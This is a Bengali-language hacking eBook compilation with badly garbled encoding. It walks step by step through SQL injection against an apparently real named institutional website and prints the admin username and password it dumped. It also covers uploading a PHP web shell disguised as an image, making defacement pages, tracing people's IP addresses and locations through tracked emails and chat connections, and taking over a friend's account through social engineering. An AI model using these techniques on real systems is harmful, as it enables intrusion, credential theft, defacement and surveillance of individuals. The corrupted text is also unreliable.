তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 6: Hacking Bangla eBook

একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ

ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23

নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ

সকান চছযফাআচছটয অআকত সফয কযায কতনযভ

মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন

হচছয ফযাখযা

মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom

তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

